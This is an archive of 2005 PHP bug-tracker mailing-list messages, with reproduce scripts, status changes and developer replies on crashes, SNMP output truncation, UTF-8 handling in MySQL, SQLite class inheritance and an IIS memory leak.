Fixed in CVS:http://bugs.php.net/fix.php?id=32937r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32937r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32937r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32937r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32937r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32937r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32937r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32937r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32937r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32937r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32937r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32937r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32937r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32937r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32937r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32937r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32937r=mysqlcfg


#32930 [Opn-Csd]: When class extends with DOMDocument it's can't clone properly

2005-05-04 Thread rrichards
 ID:   32930
 Updated by:   [EMAIL PROTECTED]
 Reported By:  pasha dot zubkov at gmail dot com
-Status:   Open
+Status:   Closed
 Bug Type: Zend Engine 2 problem
 Operating System: Linux 2.6.11.6-grsec
 PHP Version:  5.0.4
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2005-05-03 20:29:19] pasha dot zubkov at gmail dot com

Description:

When class extends with DOMDocument it's can't clone properly

Reproduce code:
---
?php

class First extends DOMDocument {
private $_first = null;

public function setFirst($first) {
$this-_first = $first;
}

}

class Second extends First {
public function __construct() {
$this-setFirst('test');
}
}

$obj = new Second;
$object = clone $obj;

var_dump($obj, $object);

?

Expected result:

Object will be identical






-- 
Edit this bug report at http://bugs.php.net/?id=32930edit=1


#32929 [Fbk-Opn]: php crashing on array element assignment

2005-05-04 Thread majoros at inma dot ucl dot ac dot be
 ID:   32929
 User updated by:  majoros at inma dot ucl dot ac dot be
 Reported By:  majoros at inma dot ucl dot ac dot be
-Status:   Feedback
+Status:   Open
 Bug Type: Reproducible crash
 Operating System: fc3
 PHP Version:  4.3.11
 New Comment:

$val is some value extracted from a database. The foreach loop goes
through every column of the data extracted from the current row ($res).


Here are the values contained in $res when the crash occurs (on 5th
iteration in 'while'):
mvanhXXX,Marie-Anne Van HXXX,1,1,1,1,0 

I had to replace some name with XXX for privacy, but it doesn't contain
any special character. BTW, the same happens if i just leave the iconv.
If I replace the bad line with this:

$wikireq[$id][]=''; 

The crash doesn't occur (but I don't get my data).


Previous Comments:


[2005-05-03 22:50:17] [EMAIL PROTECTED]

What is the value of $val variable.



[2005-05-03 19:51:37] majoros at inma dot ucl dot ac dot be

Description:

PHP is crashing on some page (segfault), at least on two servers. It
crashes when I try to create a new array element (see code), not
always, but always in the same conditions.

Same with 4.3.10, 4.3.11 and latest cvs. 

configure:

'./configure' '--with-apxs2' '--with-iconv' 

Reproduce code:
---
 while ($res=$result-fetchRow(DB_FETCHMODE_ASSOC))
 {
  // TODO: make iconv optional
  foreach ($res as $key=$val)
   $res[$key]=iconv(ISO-8859-1,UTF-8,$val);
// CRASHING ON FOLLOWING LINE AFTER 5 ITERATIONS (DATA DEPENDANT)
  $wikireq[$id][]=$res;
 }

Expected result:

should not crash!

Actual result:
--
crash boom, this line in apache error.log:

[Tue May 03 19:33:21 2005] [notice] child pid 10313 exit signal
Segmentation fault (11)





-- 
Edit this bug report at http://bugs.php.net/?id=32929edit=1


#32935 [NEW]: SNMP timeouts on specific OIDs and truncating of certain OID return strings

2005-05-04 Thread nospam-php at homeuseonly dot co dot uk
From: nospam-php at homeuseonly dot co dot uk
Operating system: Windows 2003 SP1 / Windows XP SP
PHP version:  5.0.4
PHP Bug Type: SNMP related
Bug description:  SNMP timeouts on specific OIDs and truncating of certain OID 
return strings

Description:

When running making specific SNMP get/walks against Windows 2003 or
Windows XP the following has been seen to occur

1.  Sometimes the SNMP walk against .1.3.6.1.2.1.25.2.3 the request times
out.  If I use GetIf to walk the OID the results are displayed, but PHP
fails randomly

2.  When viewing .1.3.6.1.2.1.25.4.2.1.4 with GetIf the file paths/names
are displayed in full, but when I do a SNMP walk the output is truncated.




Reproduce code:
---
The code can be downloaded from  http://sourceforge.net/users/lsms-mrtg/

The example windows code is in the package.

Example of the truncated output

?php
print_R(snmpwalk(127.0.0.1,public, .1.3.6.1.2.1.25.4.2.1.4));

?

Expected result:

The full program paths displayed, where appropriate.


Actual result:
--
Array ( [0] =  [1] =  [2] = C:\\Program Files\\Promise Technology,
Inc.\\Promise Array Manageme [3] =  [4] =  [5] =
C:\\users\\isms\\l [6] =  [7] = C:\\WINDOWS\\System3 [8] =
C:\\users\\isms\\l [9] = \\SystemRoot\\System3 [10] =  [11] =
c:\\squid\\sbi [12] = C:\\WINDOWS\\system3 [13] =  [14] =
C:\\WINDOWS\\system3 [15] = C:\\WINDOWS\\System3 [16] =
C:\\WINDOWS\\system3 [17] = C:\\WINDOWS\\system3 [18] =
C:\\WINDOWS\\system3 [19] = C:\\users\\isms\\l [20] = C:\\FS3 [21]
=  [22] =  [23] =  [24] =  [25] = C:\\WINDOWS\\System3 [26]
= C:\\WINDOWS\\system3 [27] = C:\\WINDOWS\\system3 [28] =  [29]
= C:\\Program Files\\TightVNC-unstabl [30] =
C:\\PROGRA~1\\Grisoft\\AV [31] = C:\\users\\isms\\l [32] =
C:\\Program Files\\Apache Group\\Apache2\\ [33] =  [34] =
C:\\PROGRA~1\\Grisoft\\AV [35] = C:\\Program Files\\Promise
Technology, Inc\\Promise Array Manageme [36] =
C:\\PROGRA~1\\Grisoft\\AV [37] = C:\\WINDOWS\\system3 [38] =
C:\\users\\isms\\l [39] =  [40] = C:\\WINDOWS\\System3 [41] =
C:\\users\\isms\\l [42] =  [43] = C:\\FS3 [44] =
C:\\users\\isms\\l [45] =  [46] = C:\\Program Files\\Promise
Technology, Inc.\\Promise Array Manageme [47] =  [48] = C:\\WINDOWS
[49] =  [50] = C:\\PROGRA~1\\Grisoft\\AV [51] = C:\\WINDOWS [52]
= C:\\Program Files\\ASUS\\Pro [53] = C:\\WINDOWS\\system3 [54] =
C:\\Program Files\\ATI Technologies\\ATI Control Pan [55] =  [56] =
 [57] = C:\\WINDOWS\\system32\\wb [58] = C:\\Program Files\\Apache
Group\\Apache2\\ [59] = C:\\FS3 [60] =  [61] =
C:\\PROGRA~1\\HAUPPA~ [62] =  [63] =
C:\\PROGRA~1\\HAUPPA~1\\Hardwa [64] =  [65] = C:\\Program
Files\\Apache Group\\Apache2\\ [66] = C:\\PROGRA~1\\HAUPPA~1\\Hardwa
[67] =  [68] = C:\\WINDOWS\\system3 [69] =  ) 

-- 
Edit bug report at http://bugs.php.net/?id=32935edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32935r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32935r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32935r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32935r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32935r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32935r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32935r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32935r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32935r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32935r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32935r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32935r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32935r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32935r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32935r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32935r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32935r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32935r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32935r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32935r=mysqlcfg


#32927 [Fbk-Opn]: inserting UTF-8 string into mysql

2005-05-04 Thread david dot kalosi at spordat dot sk
 ID:   32927
 User updated by:  david dot kalosi at spordat dot sk
 Reported By:  david dot kalosi at spordat dot sk
-Status:   Feedback
+Status:   Open
 Bug Type: *Languages/Translation
 Operating System: Windows XP SP1
 PHP Version:  5CVS-2005-05-03 (dev)
 New Comment:

does not help either - the same character is corrupt again.


Previous Comments:


[2005-05-03 23:14:03] [EMAIL PROTECTED]

Pass the input through mysql_real_escape_string().



[2005-05-03 15:39:01] david dot kalosi at spordat dot sk

Description:

I have a Mysql database with UTF-8 encoding and i am posting data from
web also in UTF-8 encoding. 
The slovak character #269; is messed up - the results from the
database are differ from the input. All other special characters are
OK.

Reproduce code:
---
mysql create table t (x varchar(64)) character set utf8;
Query OK, 0 rows affected (0.21 sec)

mysql

script language=php

header(Content-Type: text/html;charset=UTF-8);

$l_conn = mysql_connect(localhost, formawww, formawww);
mysql_select_db(forma, $l_conn);


echo form name=\test\ method=\POST\ action=\test.php\;
echo input type=\text\ name=\str\;
echo input type=\hidden\ name=\insert\ value=\1\;
echo input type=\submit\/form;


if (isset($_REQUEST[insert]))
{
$l_insert = mysql_query (insert into t values (' .
$_REQUEST[str].'));
}



$l_select = mysql_query(select * from t);

echo --br;
while ($l_row = mysql_fetch_assoc($l_select))
{
  echo $l_row[x] . br\n;
}


/script

Expected result:

enter the following values into the form 

#318;š#269;#357;žýáíéúäô

and the following output is produces

#318;š#319;#357;žýáíéúäô

the third character is corrupted.






-- 
Edit this bug report at http://bugs.php.net/?id=32927edit=1


#32931 [Opn-Bgs]: using reset() on an undefined variable keep reloading the script

2005-05-04 Thread iliaa
 ID:   32931
 Updated by:   [EMAIL PROTECTED]
 Reported By:  pbnadeau at gmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Reproducible crash
 Operating System: freebsd
 PHP Version:  4.3.11
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.

Not a PHP bug.


Previous Comments:


[2005-05-03 21:12:32] pbnadeau at gmail dot com

It appears that eaccelerator wasn't shut down on the server I ran the
code (we get a random one every connection). I'll get them the bug
report.



[2005-05-03 21:07:09] pbnadeau at gmail dot com

Description:

Run this script on 4.3.11 and FIEW will NEVER appear. TEST will appear
a lot of time though (until the memory will be exhausted). Disabled
caching  profiling...



Reproduce code:
---
?php
error_log(TEST  . $_GET['id']);
@reset($hi);
error_log(FIEW);
?

Completed

Expected result:

Completed

Actual result:
--
500 - Internal Server Error
+ filled log file





-- 
Edit this bug report at http://bugs.php.net/?id=32931edit=1


#32931 [NEW]: using reset() on an undefined variable keep reloading the script

2005-05-04 Thread pbnadeau at gmail dot com
From: pbnadeau at gmail dot com
Operating system: freebsd
PHP version:  4.3.11
PHP Bug Type: Reproducible crash
Bug description:  using reset() on an undefined variable keep reloading the 
script

Description:

Run this script on 4.3.11 and FIEW will NEVER appear. TEST will appear a
lot of time though (until the memory will be exhausted). Disabled caching
 profiling...



Reproduce code:
---
?php
error_log(TEST  . $_GET['id']);
@reset($hi);
error_log(FIEW);
?

Completed

Expected result:

Completed

Actual result:
--
500 - Internal Server Error
+ filled log file

-- 
Edit bug report at http://bugs.php.net/?id=32931edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32931r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32931r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32931r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32931r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32931r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32931r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32931r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32931r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32931r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32931r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32931r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32931r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32931r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32931r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32931r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32931r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32931r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32931r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32931r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32931r=mysqlcfg


#32931 [Opn]: using reset() on an undefined variable keep reloading the script

2005-05-04 Thread pbnadeau at gmail dot com
 ID:   32931
 User updated by:  pbnadeau at gmail dot com
 Reported By:  pbnadeau at gmail dot com
 Status:   Open
 Bug Type: Reproducible crash
 Operating System: freebsd
 PHP Version:  4.3.11
 New Comment:

It appears that eaccelerator wasn't shut down on the server I ran the
code (we get a random one every connection). I'll get them the bug
report.


Previous Comments:


[2005-05-03 21:07:09] pbnadeau at gmail dot com

Description:

Run this script on 4.3.11 and FIEW will NEVER appear. TEST will appear
a lot of time though (until the memory will be exhausted). Disabled
caching  profiling...



Reproduce code:
---
?php
error_log(TEST  . $_GET['id']);
@reset($hi);
error_log(FIEW);
?

Completed

Expected result:

Completed

Actual result:
--
500 - Internal Server Error
+ filled log file





-- 
Edit this bug report at http://bugs.php.net/?id=32931edit=1


#32933 [NEW]: Extending SQLiteDatabase

2005-05-04 Thread rbro at hotmail dot com
From: rbro at hotmail dot com
Operating system: Linux
PHP version:  5.0.4
PHP Bug Type: SQLite related
Bug description:  Extending SQLiteDatabase

Description:

The SQLiteDatabase class is not extendable while other databases classes
such as mysqli are extendable.


Reproduce code:
---
?php
class s1 extends SQLiteDatabase
{


}

$s1 = new s1('db', 0666, $error);
?


Expected result:

no output


Actual result:
--
PHP Fatal error:  Class s1 may not inherit from final class
(SQLiteDatabase) in 1.php on line 6

Fatal error: Class s1 may not inherit from final class (SQLiteDatabase) in
1.php on line 6


-- 
Edit bug report at http://bugs.php.net/?id=32933edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32933r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32933r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32933r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32933r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32933r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32933r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32933r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32933r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32933r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32933r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32933r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32933r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32933r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32933r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32933r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32933r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32933r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32933r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32933r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32933r=mysqlcfg


#32929 [Opn-Fbk]: php crashing on array element assignment

2005-05-04 Thread iliaa
 ID:   32929
 Updated by:   [EMAIL PROTECTED]
 Reported By:  majoros at inma dot ucl dot ac dot be
-Status:   Open
+Status:   Feedback
 Bug Type: Reproducible crash
 Operating System: fc3
 PHP Version:  4.3.11
 New Comment:

What is the value of $val variable.


Previous Comments:


[2005-05-03 19:51:37] majoros at inma dot ucl dot ac dot be

Description:

PHP is crashing on some page (segfault), at least on two servers. It
crashes when I try to create a new array element (see code), not
always, but always in the same conditions.

Same with 4.3.10, 4.3.11 and latest cvs. 

configure:

'./configure' '--with-apxs2' '--with-iconv' 

Reproduce code:
---
 while ($res=$result-fetchRow(DB_FETCHMODE_ASSOC))
 {
  // TODO: make iconv optional
  foreach ($res as $key=$val)
   $res[$key]=iconv(ISO-8859-1,UTF-8,$val);
// CRASHING ON FOLLOWING LINE AFTER 5 ITERATIONS (DATA DEPENDANT)
  $wikireq[$id][]=$res;
 }

Expected result:

should not crash!

Actual result:
--
crash boom, this line in apache error.log:

[Tue May 03 19:33:21 2005] [notice] child pid 10313 exit signal
Segmentation fault (11)





-- 
Edit this bug report at http://bugs.php.net/?id=32929edit=1


#32930 [NEW]: When class extends with DOMDocument it's can't clone properly

2005-05-04 Thread pasha dot zubkov at gmail dot com
From: pasha dot zubkov at gmail dot com
Operating system: Linux 2.6.11.6-grsec
PHP version:  5.0.4
PHP Bug Type: Zend Engine 2 problem
Bug description:  When class extends with DOMDocument it's can't clone properly

Description:

When class extends with DOMDocument it's can't clone properly

Reproduce code:
---
?php

class First extends DOMDocument {
private $_first = null;

public function setFirst($first) {
$this-_first = $first;
}

}

class Second extends First {
public function __construct() {
$this-setFirst('test');
}
}

$obj = new Second;
$object = clone $obj;

var_dump($obj, $object);

?

Expected result:

Object will be identical


-- 
Edit bug report at http://bugs.php.net/?id=32930edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32930r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32930r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32930r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32930r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32930r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32930r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32930r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32930r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32930r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32930r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32930r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32930r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32930r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32930r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32930r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32930r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32930r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32930r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32930r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32930r=mysqlcfg


#32929 [NEW]: php crashing on array element assignment

2005-05-04 Thread majoros at inma dot ucl dot ac dot be
From: majoros at inma dot ucl dot ac dot be
Operating system: fc3
PHP version:  4.3.11
PHP Bug Type: Reproducible crash
Bug description:  php crashing on array element assignment

Description:

PHP is crashing on some page (segfault), at least on two servers. It
crashes when I try to create a new array element (see code), not always,
but always in the same conditions.

Same with 4.3.10, 4.3.11 and latest cvs. 

configure:

'./configure' '--with-apxs2' '--with-iconv' 

Reproduce code:
---
 while ($res=$result-fetchRow(DB_FETCHMODE_ASSOC))
 {
  // TODO: make iconv optional
  foreach ($res as $key=$val)
   $res[$key]=iconv(ISO-8859-1,UTF-8,$val);
// CRASHING ON FOLLOWING LINE AFTER 5 ITERATIONS (DATA DEPENDANT)
  $wikireq[$id][]=$res;
 }

Expected result:

should not crash!

Actual result:
--
crash boom, this line in apache error.log:

[Tue May 03 19:33:21 2005] [notice] child pid 10313 exit signal
Segmentation fault (11)

-- 
Edit bug report at http://bugs.php.net/?id=32929edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32929r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32929r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32929r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32929r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32929r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32929r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32929r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32929r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32929r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32929r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32929r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32929r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32929r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32929r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32929r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32929r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32929r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32929r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32929r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32929r=mysqlcfg


#32475 [Opn]: Memory Leak: TSRMLS_FETCH() in HTTPExtensionProc

2005-05-04 Thread lacey at lacey dot cc
 ID:   32475
 User updated by:  lacey at lacey dot cc
 Reported By:  lacey at lacey dot cc
 Status:   Open
 Bug Type: IIS related
 Operating System: Windows XP
 PHP Version:  5CVS-2005-03-29
 New Comment:

Found the Memory Leak.  Thanks for all the help.


Previous Comments:


[2005-04-05 02:27:41] lacey at lacey dot cc

Is there any feedback on this?  I've tried stepping into the code but
the debug files aren't jibing with the Source Code versions that I
have.



[2005-03-29 01:53:37] lacey at lacey dot cc

Yes.  Of course I will download those and do more testing.  I'll let
you know if I find out anything further.  But I've already given you
the exact subroutine.  It's the call to TSRMLS_FETCH() which calls
ts_resource_ex in trsm.c

ts_resouce_ex allocates the memory, and ts_free_thread somehow doesn't
free it all.  The memory keeps growing with the implementation of each
thread until the Server crashes.  I'd assume that's where you need to
look.  Or am I missing something here?

Jakub has explained the same scenario in this report as well.

http://bugs.php.net/bug.php?id=23331

Thanks.



[2005-03-29 01:19:04] [EMAIL PROTECTED]

Get these packages: 

http://snaps.php.net/win32/php5-win32-latest.zip
http://snaps.php.net/win32/php5-dbgpack-win32-latest.zip

And try provide some useful information about the crash.




[2005-03-28 17:29:32] lacey at lacey dot cc

Description:

Memory Leak using the php5isapi.dll under IIS.  When TSRMLS_FETCH() is
called from HTTPExtensionProc, ts_free_thread leaves a Memory Leak of
approximately 100K for every call.  When TSRMLS_FETCH() isn't called,
there's no leak.  This leak will crash a Server under light loads
within a few hours.






-- 
Edit this bug report at http://bugs.php.net/?id=32475edit=1


#32927 [NEW]: inserting UTF-8 string into mysql

2005-05-04 Thread david dot kalosi at spordat dot sk
From: david dot kalosi at spordat dot sk
Operating system: Windows XP SP1
PHP version:  5CVS-2005-05-03 (dev)
PHP Bug Type: *Languages/Translation
Bug description:  inserting UTF-8 string into mysql

Description:

I have a Mysql database with UTF-8 encoding and i am posting data from web
also in UTF-8 encoding. 
The slovak character #269; is messed up - the results from the database
are differ from the input. All other special characters are OK.

Reproduce code:
---
mysql create table t (x varchar(64)) character set utf8;
Query OK, 0 rows affected (0.21 sec)

mysql

script language=php

header(Content-Type: text/html;charset=UTF-8);

$l_conn = mysql_connect(localhost, formawww, formawww);
mysql_select_db(forma, $l_conn);


echo form name=\test\ method=\POST\ action=\test.php\;
echo input type=\text\ name=\str\;
echo input type=\hidden\ name=\insert\ value=\1\;
echo input type=\submit\/form;


if (isset($_REQUEST[insert]))
{
$l_insert = mysql_query (insert into t values (' .
$_REQUEST[str].'));
}



$l_select = mysql_query(select * from t);

echo --br;
while ($l_row = mysql_fetch_assoc($l_select))
{
  echo $l_row[x] . br\n;
}


/script

Expected result:

enter the following values into the form 

#318;š#269;#357;žýáíéúäô

and the following output is produces

#318;š#319;#357;žýáíéúäô

the third character is corrupted.


-- 
Edit bug report at http://bugs.php.net/?id=32927edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32927r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32927r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32927r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32927r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32927r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32927r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32927r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32927r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32927r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32927r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32927r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32927r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32927r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32927r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32927r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32927r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32927r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32927r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32927r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32927r=mysqlcfg


#32882 [Asn-Bgs]: Stored Procedure spoils connection

2005-05-04 Thread georg
 ID:   32882
 Updated by:   [EMAIL PROTECTED]
 Reported By:  sales at girderboot dot com
-Status:   Assigned
+Status:   Bogus
 Bug Type: MySQLi related
 Operating System: Windows Server 2003
 PHP Version:  5CVS-2005-04-29
 New Comment:

. 


Previous Comments:


[2005-05-03 09:18:21] [EMAIL PROTECTED]

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

Stored procedures can return more than one resultset, e.g. 
 
CREATE PROCEDURE foo() 
BEGIN 
  SELECT 'foo' FROM DUAL; 
  SELECT 'bar' FROM DUAL; 
END 
 
therefore you should handle resultsets like in 
mysqli_multi_query (calling mysqli_next_result to clear 
remaining data on socket). 



[2005-04-29 03:08:15] sales at girderboot dot com

Upgraded to latest CVS [5.1.0-dev, Apr 26 2005 04:15:08 ]

Still same Problem.



[2005-04-29 02:45:50] sales at girderboot dot com

Description:

After executing a query using a stored procedure that returns a result
set, no futher queries can be executed.

SProc's that don't return a result set, or embedded SQL queries are not
affected (but even they still cannot run after a SP with a result set is
run.)

MySQL and PHP both version 5.0.4

Reproduce code:
---
$db = new mysqli('localhost','xxx','xxx','campnet');

if (!$exec = $db-query(CALL Acct_Bal(1)))
echo $db-error;
$balance = $exec-fetch_row();

$exec-close();

echo $balance[0];
echo BR;
// Second Time
if (!$exec = $db-query(CALL Acct_Bal(1)))
echo $db-error;
$balance = $exec-fetch_row();

$exec-close();

echo $balance[0];

Expected result:

Should Output the same result Twice (In this case, the accout
balance):


0.00
0.00

Actual result:
--
0.00
Lost connection to MySQL server during query
Fatal error: Call to a member function fetch_row() on a non-object in
C:\Program Files\Apache Group\Apache2\htdocs\driver.php on line 40





-- 
Edit this bug report at http://bugs.php.net/?id=32882edit=1


#32252 [Asn]: Segfault when offsetSet throws an Exception (only without debug)

2005-05-04 Thread helly
 ID:   32252
 Updated by:   [EMAIL PROTECTED]
 Reported By:  shulmanb at il dot ibm dot com
 Status:   Assigned
 Bug Type: Zend Engine 2 problem
 Operating System: *
 PHP Version:  5.*
 Assigned To:  helly
 New Comment:

Runs in php 5.1 now.


Previous Comments:


[2005-03-13 19:22:42] [EMAIL PROTECTED]

Related to http://bugs.php.net/30346



[2005-03-09 15:13:34] [EMAIL PROTECTED]

The first problem here is that the negative key results in incomplete
initialized zvals internally *before* even calling offsetSet().



[2005-03-09 14:38:38] shulmanb at il dot ibm dot com

Description:

In some cases, when offsetSet throws an exception a segfault occurs.

This does not happen when compiled with --enable-debug.

Note that if the index passed to $list is positive or a string, not
segfault occurs.

Reproduce code:
---
class a implements ArrayAccess
{
function offsetExists ($offset) { return false; }
function offsetGet ($offset) { return null; }
function offsetSet ($offset, $value) { throw new Exception (Ooops);
}
function offsetUnset ($offset) {}
}
function test()
{
$list = new a();
try {
$list[-1] = 123;
} catch (Exception $e) { }
return true;
}
print test();


Expected result:

The output should be 1.

Actual result:
--
Segmentation fault.

The stack trace reported in Visual Studio, using the latest snapshot
